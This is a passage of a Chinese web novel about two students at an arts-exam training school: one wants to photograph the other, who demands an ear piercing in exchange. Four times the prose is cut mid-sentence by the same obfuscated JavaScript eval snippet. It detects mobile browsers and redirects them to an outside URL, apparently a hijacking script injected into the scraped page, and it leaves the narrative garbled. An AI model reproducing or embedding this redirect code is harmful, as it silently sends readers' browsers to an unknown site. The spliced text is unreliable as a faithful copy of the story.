纪颂想了想,单身好啊,单身没人管。 【蝉:看我朋友圈!】 赵逐川这边正在吃午饭。 桌面上摆着的还是老三样:盒饭、矿泉水、润喉糖。 今天的菜色依然不合口味,双椒辣子鸡、蒜薹炒腊肉……外带几根干煸青椒。 赵逐川吃完米饭,青椒半点没碰。 纪颂朋友圈仅三天可见,能看见的只有置顶。 第一张照片上的纪颂身穿天蓝色校服,头发留得稍长了,眼眸弯弯,笑容依旧极具感染力,脸颊两侧涂抹雪白的奶油,右边奶油没有遮住那颗明显的小痣。 旁边,同样是一群穿校服的男生女生将他簇拥其中,课桌上放着一半地球造型蛋糕,蜡烛插了十七根。 爱笑的人,在哪里都受欢迎。 第二张照片是纪颂和另外两个男生拍的,两人对着镜头比手势,一个单手比“J”,一个双手比“S”,纪颂在中间双手合十,闭眼许愿。 第三张照片是纪颂写在空白纸张上的字迹—— 「地球是圆的, 可我还是想要去世界尽头。」 下面显示的日期是202x年11月1日0点。 每张照片上的少年人都神清气爽,字亦如其人,清隽飞扬。 看来纪颂喜欢热闹,人缘不错,分享欲强,可赵逐川不一样,他的出生怎么看都不像是赵添青成功人生中的正确符号。 所以他从来不过生日,赵添青也极少有时间陪他过。 前年的生日礼物,一辆性能彪悍到可以骑完国道318的山地车。 去年的生日礼物,三张可兑现的许愿卡。 不知道他妈赵添青从哪部电影剧本里学来的,说是想不到儿子喜欢什么,什么也不缺,干脆就写三张卡片留着,以后可以实现任何愿望。 第一张许愿卡在半个月前被赵逐川果断用掉了。 愿望就四个字:离开京北。 赵添青没有过多反对,她明白缘由后沉默了很久,说,小川,其实你不用这张卡,妈妈也会答应你的。 现在…… 赵逐川想使用第二张卡。 - 妆发课后,赵逐川又一连着好几天没来。 周二晚上形体课上半场结束,中场休息,纪颂趴着在形体房木地板上滚了一圈,接过金姐发过来的手机,按开屏幕。 【蝉:你退学了吗?】 如果真退学了,金姐肯定会被校长训得很惨。 毕竟失去了一个赵逐川就约等于失去了几张国内顶尖影视院校今年的校考小圈①合格证。 昨天上表演课,钟离遥一进教室就问,你们班赵逐川呢? 所有人都摇头。 这班上暂时只有林含声跟他熟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743346|173597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林含声猛地对上纪颂询问的眼神,也摇头说不知道。 纪颂心里有些莫名的失落。 他还趴着,对自己屁股已经裂成四瓣深信不疑。 刚才明哥手下不留情,练得太狠了,他的腿搭在把杆上被压了很久,现在两只小腿像被车轮狠狠碾压过。 而且班上合作都是按学号来…… 赵逐川不在,他就落了单,几乎都是老师和他凑对儿,摸鱼的机会都没有,太倒霉了。 “还不起来啊?” 林含声叉腰走过来,抬脚用只在教室穿的爵士鞋踩上纪颂的小腿,轻轻揉搓,失笑道:“颂颂,没想到你看着挺能忍的,实际这么怕疼。真娇气。” 纪颂哼道:“怪我长了一张倔脸。” “对,你看着就像做什么事儿都能成的人,”林含声还在给他踩小腿放松肌肉,瞥一眼屏幕,“咦?你都加上赵逐川微信啦。” “是啊。”纪颂往上翻聊天记录。 只有他不想加的,没有他纪颂加不到的。 【蝉:你多久来上课?盒饭新增了京酱肉丝】 这几天每堂课老师讲了什么重点,教了些什么,纪颂都做了课后总结给赵逐川发过去,对面要么回“1”要么回“谢了”,总之不给任何闲聊的机会。 但纪颂还是把他当备忘录那样发信息。 毕竟求人要有求人的态度。 想请到一个能不让作品变得粗制滥造的男主角可不容易。 小腿肌肉的酸痛感逐渐减弱,纪颂打了个哈欠,不愿意起来,就那样任由林含声按摩。 趴着趴着,连轴转几天的训练太过于费精力,纪颂突然就睡着了。 他手背垫在下巴上,脸几乎快贴近地板,才猛然惊醒,撑起手肘往后看去—— 帮他踩腿的人哪里还是林含声? 分明是几天不见的赵逐川。 南方的夏夜闷热,他只穿了件纯黑的无袖连帽背心,帽子仍是扣在脑袋上的,穿着打扮依旧贯彻神秘作风,连遮住半边脸的黑口罩都没取。 纪颂一下子往旁边木地板滚了小半圈爬起来坐好:“你没……” “我没退学。”赵逐川的爵士鞋很新。 “那就好……” 我的男模又回来了。 纪颂垂眸,指了指赵逐川的鞋:“你鞋带散了。” 赵逐川没搭话,蹲下来系鞋带。 他个头高,手似乎比同龄人都更大,手腕上一道道青筋脉络在用力的时候会微微凸起。 纪颂看着他的手,内心不免开始阴暗爬行,完全找不到赵逐川外形上的短板。 还好赵逐川跟他不是同一风格。 这双手,拿烟一定很好看。 或者……取领带、端高脚杯、胯下运球。 再或者举哑铃? “你就是赵逐川吧,”才结束完课间休息的明哥走进来,放下手里的保温杯,拍了拍手掌,“哟,名副其实,彭校还真不是吹牛,你条件真不错啊。” 赵逐川站直,双手背于身后:“是。明哥好。” 纪颂听他这么喊,心里爬行的小虫倏地翻过面来晃动四肢,开始暗爽。 他前天给赵逐川发了消息,说他形体课被明哥练得很累,放学还去操场加练了三公里,浑身散架了……你快点回来把我拼起来吧。 原来赵逐川会认真看他发的废话。 11.五月 明哥很快给赵逐川分发了哑铃,说是肢体力量训练,学生需要单手拿着哑铃做一些舞蹈动作。 赵逐川手臂力量强,每个动作都规范标准,还被明哥点名到最前面来带同学。 可赵逐川拒绝了。 放学后,明跃简单地收拾好汗湿的衣物,给出教室的同学们挨个点头打过招呼,才摸出防晒外套里的打火机,跑到楼道里点了根烟。 金丹凝捋起耳发,在夜风中等他。 明跃头一次为学生感到头疼:“你说说,表演生不爱展示怎么行呢?” “他就这样,之前自我介绍也没说几句话。” 金丹凝掐了烟,回身靠上楼道的墙壁,说:“我感觉他好像没有什么学习的劲儿,倒像是来这边躲什么事的。” “躲事?” “他是京北人。” 明跃一愣:“那这不相当于搞服装批发的人不在粤广吗?” ……靠。 虽说西南这边确实资源匮乏,但不至于骂这么狠。 金丹凝眼皮抽抽。 “对,话太少了。一般来讲,情绪不外放的人演不了戏。” 金丹凝缓吐出烟圈,笑了笑,继续道:“但我听他们表演老师说,上第一节表演课的时候,赵逐川演得很到位、很投入,只是情绪收放太快,台上台下像两个人。” 明跃单刀直入:“他走校考还是统考?” “校考①吧,他肯定得回京北的。而且就他那张脸,如果只走统考②,彭校绑都要绑他去校考。”金丹凝笑了下。 明跃叹气:“这种学生,不容易摸清他的性格,也难管。好好打磨一下问题不大。” 金丹凝认真讲:“赵逐川是个好孩子。” “的确,天生就吃这碗饭的。李欲对他怎么评价?” “说灵气不如另外一个新生。” “哪个?” “纪颂。” “哦!我对他印象挺深,”明跃沉思,“长得嘛,很帅,有男生少有的精致感,但皮肤太白,戏路窄……对了,眼睛确实灵。” 金丹凝说:“李欲看人一直准,我们班纪颂还真就不是冲着学表演来的。但表演这一科,纪颂肯定能学好,这孩子表现欲强,不服输,又不乱抢风头,那股劲儿游刃有余着呢,讨人喜欢。” 明跃顿时惆怅了:“学表演的好苗子不爱展示,有灵气的学生不走这条道……” 金丹凝摇头:“不用担心,我觉得今年成绩能达标。除了这两个学生,孟檀就不用说了,那个林含声你注意到没有?完全就是央传的预备役。我听说他以前在京北念书,肯定是卯足了劲想考回京北的。” “林含声我倒是不担心,他很清楚他要干什么,每节课都非常努力。”明跃顿了顿,“干我们这行的,不怕小孩没天赋,最怕有天赋的小孩不用心。” 他抽完这根烟,踩了踩烟头熄灭星火。 另一簇火光又从楼道窗外小路上的男生手中亮起。 纪颂现在闻不了烟味,多抽几口二手烟都头晕。 他加快脚步从小路侧边快速通过,突然看见前面熟悉的背影,冲上去拍了拍人背:“赵逐川!你今晚要回宿舍住了吧?” 东张西望一阵,纪颂没看到那辆黑色轿车。 看来今晚赵逐川不用回去。 那明早可以请他吃早餐改善伙食了! “回,以后周内我都在。”赵逐川不自在地脱开纪颂搂过来的胳膊,“周末再回京北。” 他说完还加了句:“你压着我了。” “我很轻的,”纪颂胸口一颗心猛跳,重点还在赵逐川是否回来上,“还行,我本来以为你退学回去了……” 赵逐川淡声打断他:“我是被开除了。因为你天天给我发消息,我手机在课桌抽屉里一直响。” 那还真有可能。 纪颂在初中阶段用过的四部手机都是因为闹钟没关、没设短信静音等等小原因被老师收的,总之就是千里之堤毁于蚁穴。 “真的?”纪颂悻悻。 赵逐川瞥他一眼,仗着身高腿长,步子迈得大,走路又跟后面有人撵似地快,纪颂得走快点儿才跟得上。 他们和三三两两的学生一起走过路灯敞亮的桥上路,可是想尽快回男生宿舍还要去抄一条没有灯的小近道。 纪颂埋头狂走,身侧飘来一个人影的语调轻松恶劣:“我骗你的。” 纪颂:“……” 这条近路太黑,林含声又被况野拖着脖子上大学生食堂买夜宵去了,纪颂担心月考上镜脸肿就没去跟着打牙祭,也从来没有一个人单独走过这条路。 赵逐川一言不发地走,又一身黑戴黑口罩,再帅也很像男鬼。 男鬼又开口了:“我最后给你一次机会,有事就直说。” 纪颂直接说:“既然你问了……你能让我拍几张照片吗?” 拒绝来得他那张臭脸一样果决:“不能。” 纪颂这个年纪的男生都要面子,脸上顿时有点挂不住,闷着头往前冲了几步,后脖颈又被人在黑暗中捏着拎回来。 赵逐川像是很头疼地蹙了下眉:“你想拍哪里?” 拍脸啊,拍哪儿? 还能拍哪儿? 害怕再次惨遭拒绝,纪颂答非所问:“我想拍作品集。” “我知道了。”没再看一眼纪颂依旧疑惑的眼睛,赵逐川在思考如何跟工作室那位负责处理她日常生活琐碎事务的助理开口。 在集星这边的日程都是赵添青的助理在安排。 他姥姥一直身体不好,姥爷又去世得早,除开赵添青很少有空来带他以外,赵逐川几乎可以说是靠妈妈身边的各种工作人员带大的,这些人对他的好有各种理由,但是绝对没有一个人的出发点是对他拥有天生的爱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15746076|173597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对任何长辈,他都很难去进行顺畅的沟通。 纪颂很点到即止,没有追着再继续要答案,风风火火地走到赵逐川前面去带路。 周日,宿舍小坝子上停留的大学生不多。 只有集星的学生正火急火燎地往楼里走,大多数人还忙着早点洗漱上床睡觉赶明天的晨练。 纪颂也急,他每晚回宿舍后要趁着熄灯之前的空档过一遍文化课内容,不走快点,时间根本不够。 楼边有对情侣站在树的影子里,一个稍高,一个稍矮,头顶树荫完全被夜色吞并,他们抱着啃得忘情忘我,模糊到看不清男女。 纪颂没忍住多看了几眼。 他高中校风甚严,私底下搞早恋的几乎都被棒打鸳鸯了个遍,谁还有敢在同学面前接吻的胆子?亲嘴这种事,他只在影视作品里看见过。 “你没有亲过吗,”赵逐川嗓音凉飕飕的,“还一直看。” 这声音将纪颂拉回现实。 被抓了包,纪颂迅速挪开眼:“有什么好亲的。” 赵逐川:“那就是没亲过。” 纪颂脸一热,反问:“你亲过?” 赵逐川的反应特别快:“这是个人隐私。” “……”纪颂有点头晕。 短短两个来回,赵逐川对他没亲过嘴了如指掌,他却半个字都没问出来,真没意思! 宿舍楼前灯光昏黄,那光线只能照亮纪颂身前的一小块水泥地,他再往前走几步,一楼房间里敞亮的白炽灯光恰好照在他肩头、耳廓。 他侧脸连着脖颈往肩膀走的那一大片皮肤都是白的,耳朵在这种情况下红起来就特别显眼。 饱满、圆润,且完整。 和这个人一样。 那耳朵像菜刀劈开的半片西瓜突兀地挂在脸颊边,拉住赵逐川的视线。 脸皮没多薄,耳朵还这么容易红? 阵阵笑声自窗口传出,不知道是哪个寝室在练习吉他,纪颂边走边看热闹,直到黑暗一口将他吞没。 赵逐川默不作声地跟在后面:“其实也不是不能拍。” 纪颂一下子来了精神:“怎么说?” 赵逐川绷着嘴角:“不能拍脸,其他都行。” 局部创作吗,也行。 谁让这人不露脸光露个背影都好看,更何况这只是开了一条准许的口子,说不定等赵逐川想明白了还有机会的。 但局部很容易拍得。 很。色。情。 纪颂深呼吸一口气,觉得创作生涯即将面临前所未有的巨大挑战。 “可以,条件你提,”纪颂站在台阶上抱着书回头,“我可以帮你占晨练的位置,还能帮你买早饭、划朗诵稿件声调、写影评、抢共享单车、揣打火机……” 越说越离谱。 赵逐川摇头表示这些他都不需要。 他只讲:“你去打个耳洞。” 12.五月 这还不简单? 纪颂几乎只迟疑一秒:“左边还是右边?” “右边。” “耳骨还是耳垂?” “耳垂。” “我知道了。” 耳朵像被火星子溅到一样微微发烫,他从来没有这么明显地感觉到耳朵的存在。 打就打,谁怕谁,不就是往肉上钻个眼儿么。 扎一个还挺酷的,纪颂本来就有高考结束后去扎的计划,现在直接提前了,无所谓,赵逐川无非就是想看他能为了拍摄做到什么地步。 赵逐川有耳洞吗? 好像有一个。 在左边还是右边? 看不见也没有印象,记不清了,只记得第一次见面时卫衣帽子下耳侧有微光。 应该是在左边。 五月的夏季,天光乍亮,一班所有人在湖边集合晨练,朝霞是支撑每个人准时爬起来的最强动力。 晨练结束,纪颂咬着牛奶吸管,一边跑一边回头冲林含声和况野打了个招呼,转头消失不见。 学校后门有家美甲店,也能打耳洞,学生少,生意不好做,老板还支起了早点摊,纪颂在前些日子出校门买笔记本的时候看见过。 他在店门口站了会儿,耐心等到七点半左右,老板姗姗来迟。 一看这么早还有人在等着,老板非常意外,笑吟吟的:“同学,你买什么?还是……你要做指甲?” 纪颂惊得连摇头:“不,不是。” 老板弯腰开锁,又忍不住回头打量纪颂,说:“没见你来过呢,大一啦?还是集星的?肯定是集星的吧,长这么好,哎,前几天才有个你们同学来我这儿做了美甲,还是男同学呢。” “对。”纪颂想起来班上那个爱打扮成女孩来上课的男生,指甲盖好像是涂了一层闪光指甲油,“就是我们班的。” 但这些都是小事。 纪颂估算着上午第一节课的上课时间,扫码买了个花卷咬在嘴里,抱着书包坐下。 “挺酷啊你,”老板看他举手投足间都挺潇洒,心道这莫不是个特立独行的男同学,大胆猜测,“想做什么项目?唇钉?” 纪颂茫然地想,喝水会漏吧。 他后背绷得笔直,动了动耳朵:“姐,我打耳洞。” 老板“嗬”一声,拉开抽屉找出手套、无菌包,背对着纪颂做了几分钟准备工作,问仔细:“哪只耳朵?打耳垂吗?” “右边。” 纪颂脑袋里浮现出赵逐川讲这话时的模样,手指蜷缩着掐进掌心里,有点怕一针扎耳骨上去了,木着脸补充说明:“耳垂。” 女人戴着手套的指尖捏住他耳垂。 纪颂眨眨眼,被施了定身术一样没有乱动,看着那根粗长的银色引导针在眼前闪了下。 “疼就咬花卷?”老板笑着,“你这小孩真逗。” “好……啊。” 打完耳洞,他疼得把花卷一口吃完了,甚至还再掏一块钱买了第二个花卷。 怎么几口吃下去,耳朵还胀得发昏? 这次纪颂不想哭,只觉得痛。 临走前,老板嘱咐事宜,比如一周不能沾水、耳洞增生了要把耳针取下来等等,纪颂全没听进去,耳朵发烫发胀,太阳穴一跳一跳的,身体在抗争这个小小的改变。 “同学,”老板翘起二郎腿,倚在玻璃门边用搓条磨指甲,“我们店还可以纹身呢,你以后常来啊!” 纪颂仰起脸:“行,谢谢姐。” 纹身不是不行。 但暂时没想好要纹什么,目前没有什么符号是他想永远留在身上的,再说了,万一他考不上导演,考警察去了怎么办呢,除了钱财,理想与志气都要生不带来,死不带去嘛。 两个花卷根本吃不饱,纪颂又掏钱买了个,很克制地咀嚼,边走边吃,这方法是金姐教的,说小口进食会饱得快一点儿,他一直从后门走到集星教学楼下都还没吃完。 纪颂踩着点进了教室,最后一口花卷咽下肚。 况野昏昏欲睡,强打起精神从课桌上支棱起上半身,招呼道:“颂啊,你跑哪儿去啦?我俩还说叫你俩一起吃酸菜米线呢。” 这个“你俩”,纪颂猜是指自己和赵逐川,赵逐川一向都喜欢一个人吃饭,上次况野提议说一起去吃炒菜,赵逐川也以口味不合拒绝了。 纪颂:“不要酸菜。” 况野:“牛肉呢?” 纪颂:“也不要,我要番茄的。” “番茄?”况野瞪眼,“你变异了?” 纪颂偏头露出肿胀的右耳:“我打耳洞去了。” 老板好像说不能吃辣椒呢,虽然说吃了也不会怎么样,但他还是别作,难得听话一些吧。 “哈?”况野猛地一拍桌,惊醒周围两三个跟着打瞌睡的同学,“大清早你跑去打耳洞?” 纪颂不以为然:“你打耳洞还分早中晚?” 况野来劲儿了,转动脑袋给纪颂展示他扣着两枚小金环的耳朵,一抹发顶,自豪道:“什么呀,我这是小时候就打了的。因为我爸妈说不打耳洞的人下辈子可能变成驴。” “……” 金耳环闪瞎了纪颂的眼睛。 他配合叹息:“我失去了做驴的机会。” 现在才五月份,还没到开空调的时候,只有黑板边放了个空调扇在呼啦呼啦乱吹。 顶上风扇旋叶转得慢,风却不小。 纪颂视线缓缓下移,看前座赵逐川头顶的几根头发随风动。 他起身,走到桌前屈起手指敲了敲:“醒醒。” 同时,上课铃也响了。 赵逐川抬头坐起来,舒展开四肢靠着椅背,目光还带有倦意。 纪颂指指自己的右耳。 再挑了下眉毛,随后转身走回自己桌前,准备入座。 门口传来铿锵女声:“纪颂!回你座位上坐好,你们老师要来了。” 金姐穿了套干练的薄西装在门口抱着胳膊点人头数数,数完又拎着她的大托特包开始挨个收手机。 等收到第二排一个同学桌边时,金姐厉声:“还有一个呢?也拿出来。” 纪颂趴在桌上静观一切,心想还真是什么都逃不过金姐的法眼。 他已经上课看见那座位上的哥们儿玩俄罗斯方块好几天,早看得不爽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754228|173597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !每次都堆方块不严丝合缝,非要留些小空隙,玩不明白还要玩! 周末来上课的老师大多有周密繁忙的本职工作,比如今天上午来授课的老师洪鸣就是本地电视台一位颇有名气的主持人,据说带出过不少央传的学生,自己在外还开有工作室,来集星讲课纯属没太多准备的连轴转。 集星这种大拿老师讲课讲得好,偏心的情况也毫不遮掩。 洪鸣演示稿件结束,挪过椅子往讲台边一坐,拿名单开始点名让学生回课,第一个就点林含声。 “第二个孟檀,准备一下。”洪鸣扶正领带,击掌一次,“开始。” 前五个回课的同学都是班上有播音主持基础的,从小就开始学,每个人发音都标准,洪鸣还特地留意到了坐最后两排的赵逐川,点他起来问了名字,又让他坐下。 这是赵逐川第一次上洪鸣的朗诵课,手里的稿件随机分发,有诗歌、散文、台词、小说。 他刚好抽中了篇幅不短的小说。 “哇,你字这么多?”林含声看了眼自己新抽到的短篇诗歌,“要不我们换换?” 赵逐川漫不经心道:“没事,都一样。” 教室玻璃窗外,金姐来巡课,旁边还跟着每周偶尔能见得到的彭校长。 纪颂第九个回课,他抽到的是散文。 除了台词,他自己觉得最难的也是散文,之前上第一节课的时候,洪鸣就说他感情不够充沛,嗓子还没完全打开,知道短视频文字自动生成配音吗?你就差不多,念书像念经,重音有问题。 不愧是靠嘴皮子赚钱的老师,骂人都押韵。 纪颂忐忑不安地刚站起来,教室门开了。 彭校阴沉着脸站在门口,身旁的金姐探进半边身子,对洪鸣抱歉微笑,勾手喊人:“纪颂,你出来。” 现在是上课时间,走廊上极少有人来往。 整个开放式空间能听清第十位回课同学清亮用力的朗诵声—— 「我还要浪费风起的时候,坐在走廊发呆,直到你眼中乌云,全部被吹到窗外①。」 窗外,蓝天的饱和度拉至顶点,树梢头的绿意浓得近乎奢侈,蝉鸣随办公室厚重的门被打开而变得更加响亮。 彭校压着裙摆坐下,抿了一口茶水,双手交叉在胸前,皱着眉盯了纪颂好一会儿。 纪颂被盯得不太自在,站姿从最开始的昂首挺胸逐渐变成了手放交握着放在身前,只有把自己想象成校长的服务员才不会那么尴尬。 彭校终于出声:“你那耳洞,什么时候出去打的?肿成这样,感染了怎么办?你们表演生现在打什么耳洞,玩儿个性吗?” 金姐正在旁边接家长的投诉电话,刚想抽出空来帮纪颂一嘴。 纪颂直接说:“彭校,我是戏导生。” 彭校又喝了口茶,气得缓了缓,重新找回状态:“戏导生怎么了?你考不考表演?还扎这么一根钛钢钉在耳朵上,考试的时候你也打算戴吗?” 知道校长是怕自己拎不清,纪颂连忙低下头装乖:“考试的时候不会戴的。” “彭校,”门外,赵逐川不知道什么时候来的,“是我带他去打的。” 13.五月 一时间,彭校脸上神情变幻莫测。 双方僵持几秒,彭校才注意到赵逐川耳朵上不仔细看就不打眼的小孔,挤出笑容:“原来是这样啊。说清楚就好了嘛。你们为什么打耳洞?钟离老师布置了新的角色吗?” 这个彭思芮和赵添青认识,两人是同一届从解.放.军艺术院校毕业的同学。 她在京南军区委培过,零几年就退役了,结婚结得早,丈夫在西南片区做生意做得还不小,怕她无聊,才在几年前投资搞了这么个集星。 都不用明说,当时赵添青带着赵逐川坐飞机来集星考察,连口罩和墨镜都不用取,彭思芮只瞥了一眼就惊呼出声,又说悄悄话,我的天哪,青青,这是你儿…… 子。 赵添青接完话,只拍了拍赵逐川的背,快叫彭阿姨。 为了招募赵逐川入校,彭思芮还主动提议和赵添青签了保密条款,赵逐川不清楚具体合约内容,只知道彭思芮每次见到他都在极力克制来自长辈的关心,那眼神很难让人不觉得他是彭思芮私下认的干儿子。 赵逐川没有回答为什么打耳洞的问题。 他走到纪颂身边,淡淡道:“彭校,我们给你添麻烦了。” 彭思芮刚想说点什么,她手机也响了,立刻笑容满面地接起电话,摆摆手表示没关系,抬起下巴,示意两个学生赶紧回教室上课。 风过林梢,办公室门缓慢合拢,蝉鸣声和教室内不曾停歇的青涩朗诵声将走廊隔开成两个世界。 纪颂朝教室望去:“你怎么出来了?” 赵逐川沉默数秒,明显懒得回答纪颂,过了好一阵才开口:“我是来看你怎么交代的,怕你把我供出来。” 纪颂眉梢一跳:“少在这里破坏我风评,我像那种人?” 赵逐川看了他一会儿,眼神挪开:“我确实没想到你真的会去打。” 纪颂无所谓:“愿赌服输。你不用跟我道歉。” “愿赌服输,这只是交换条件,”赵逐川顿了顿,“注意卫生,夏天容易发炎。” “……哦。” 纪颂满肚子准备回怼的话吞进肚子里,眼睛盯着“哗啦”一声抖下许多绿叶的树冠看了几秒,回头道:“说实话,洪鸣的课……我不太想进去。” “那就在外面站会儿,当是被彭校罚的。”赵逐川也停下来。 纪颂愣道:“你不回作业?” “回完了,”赵逐川拿起手中基本没怎么勾画的A4打印纸,顶部横批一排红色小字:“我,A+。” 纪颂:“……” 都是妖怪。 晨练的时候他明明都没听赵逐川张过嘴,结果朗诵功底居然那么好? 洪鸣打分习惯往下压,班上能评A的学生都不多,赵逐川这个成绩绝对是全班前五的水准。 看来随之而来的月考不是你死就是我活,夺冠赛基本能算作202两位大神的内.战。 纪颂暗自磨磨牙,尽量压低嗓音:“行吧。” 赵逐川背靠在墙上,单手插兜,另一只手晃了晃稿件:“你还有什么要问的?” 纸张抖动发出声响,树梢也有叶恰好纷纷而落,铺上草地。 草地…… 草。 难道不是你先来办公室掺一脚的? 纪颂说到重点:“不过两个男生一起打耳洞好奇怪啊。你倒不如实话实说是你让我打的。” “这不叫我让你打,这叫等价交换。”赵逐川纠正完,睁开眼,偏着头看他,“所以你到底要拍什么东西,想好了没?” “说实话……没想好。” 纪颂也靠在墙上,头一次如此近距离直视赵逐川的眼睛:“我的初步设想是,你不需要过多配合我,给我一张抓拍许可证就好了。” 作品集就是点点滴滴,太刻意去完成一个主题反而容易适得其反。 至于影像题材…… 他想要李欲老师给他建议。 赵逐川思忖:“你是想拍脸吗?” 纪颂:“想啊。” 赵逐川:“你很欣赏这张脸吗。” 纪颂没想到赵逐川能用这么淡漠的表情说出这么证据确凿的话,一时不知道怎么回复,只深吸了一口气,大大方方承认:“你的脸……确实不错。” 他看见赵逐川脸上有种很轻巧的笑意一闪而过。 一肚子坏水的大魔王又发话了:“你真的只想拍脸吗?” 好问题。 好废话的问题。 好在这人身材和脸不分伯仲,给摄影师的选择面很广,不至于灵感枯竭。 “不完全是,”纪颂听他这么问,怕他拒绝拍摄面部,脑海中闪现过一万种不露脸的展现形式,解释道:“也可以拍局部的,或者不以你为主体,都可以。” 只要能让拍就行。 不过为什么不能拍脸呢? 可能是因为这张脸很贵吧。 要是当网红出现在软件上,那都是拿着麻袋捡钱。 赵逐川的视线落在纪颂脸上游移,看了许久,才收回,语速放缓:“只拍局部,可以。” 其实是否曝光在大众视线下,他不太在意,这是迟早的事情。 他只是不愿提前曝光,不愿因此影响到赵添青……或是纪颂。 在没有万无一失的解决方案出来以前,他的贸然出现只会让原本离风暴中心很远的集星卷入漩涡,高二这个暑假很宝贵,高三上的进度更是紧锣密鼓,每个人的精力都有限。 纪颂以为赵逐川还有类似于打耳洞这样邪门儿的要求,没想到答应得这么快。 赵逐川冷不丁复述一遍上节妆发课Vega对纪颂捡破烂穿搭的评价:“你确定你有审美?” 要不你演哑剧吧,赵逐川? 算了,君子报仇,五年不晚。 纪颂选择左耳进右耳出,只说:“如果你怕我把你拍成路人,我可以把我的优秀……” 赵逐川站直了,像没在认真听,伸手摸纪颂的耳垂。 纪颂瞬间止住话语。 惊得连一句非常有气势的“作品集发给你”都没说出口。 赵逐川像拎兔耳朵一样掐住他充血的耳廓,先折叠,再观察,再折叠,最后放开手,低声说:“还行,没发炎。这两天别沾水。” 在纪颂的印象中,这么拧过他耳朵的人,只有他妈、他爸、他爷他奶、他小学班主任、看午休的托管老师、他当警察的小叔、他当检查官的姨姨—— 再就是赵逐川。 纪颂根本忘了躲。 那带有另一个人体温的手从耳朵落到脖颈处上次受伤的位置。 指腹贴着皮肉,贴着颈部的脉搏,摁了一下。 痒痒。 纪颂下意识偏头,哼声:“你干什么啊。” “盖章,”赵逐川转身要进教室,“许可证。” 赵逐川捏着他那张耀武扬威的成绩单前脚刚进教室,纪颂后脚就被人扳过了肩膀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15760019|173597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金姐冲回头探寻的赵逐川摆手道:“没你的事儿,你先进去。” 赵逐川仍停了脚步没动作,金姐才又催促:“我找他没什么事儿,你进去好好上课。” 教室里最后一位同学的朗诵声仍在持续。 纪颂压低嗓音打招呼:“金姐。” 金姐笑道:“赵逐川同学还挺关心你的呢。” “是的!”纪颂脸上挂着笑。他明明是怕我把他供出来。 金姐捋发到耳后,抄起手臂:“彭校呢,说话就这样,很直接,不用放在心上,你该干什么就干什么,考试换透明耳针或者暂时取一下就行。但是呢……” 纪颂顺着金姐勾手指的动作抬头。 他原以为金丹凝会八卦他为什么会和赵逐川约着一起打耳洞。 “但是呢,你脸小,两边如果都扎耳洞会很明显,所以另一侧尽量还是不要打了,”金姐端详一阵,满意地拍拍他的背,松一口气,“好了,快进去上课吧,别耽误,你们洪鸣老师一节课课时费很贵,不上怪可惜。” “好!”纪颂心里有种不祥的预感,准备脚底抹油开溜。 “对了。你俩今晚下课之后,去健身房跑一个小时。跑完拍照给我。” 纪颂:“……” 洪鸣恰巧是纪颂最水土不服的那种老师,而纪颂又是洪鸣最不喜欢的那种学生。 仗着有点天赋,外形上占优势,在老师批改过的回课作业上总有自己的想法,教这种学生没办法按照固定模具那样去捏流水线小人,得用雕刻刀一点一点地用心削,很是费他精力。 洪鸣看得出纪颂对朗诵的兴趣并不高昂,猜这是个不走播音的,也没多苛刻,对纪颂补上的回课草率点评了事,还不忘说一句:“纪颂啊,不是老师针对你,你基础要弱一点,平时没事儿在私底下就要多练,有什么不懂的,问问小林呀。” “小林”疯狂点头,上半身坐得笔直。 等洪鸣去办公室课间休息,小林又埋头把脸藏在臂弯里对着纪颂笑。 “哎呀,别气馁,这种外面找来的兼职老师是这样的,”林含声拎根凳子来坐到纪颂前座,好言好语地劝,“他们对学生完全就是买股,重点栽培几个有能力冲击名校合格证的,其他的都按照全省联考的水平简单教一教。该学的你还是要学,逃避是没有用的!” 确实,他又不考央传播音主持系,自己能保证稳过省联考录取线就好。 一千位专业老师的眼中有一千种学生。 在高中学校里每科都得学,他当好学生也当够了,现在遇到拿鼻孔看人的老师不必过多内耗。 谁看不看得起他,他不在乎。 他在乎的人看得起他就够了。 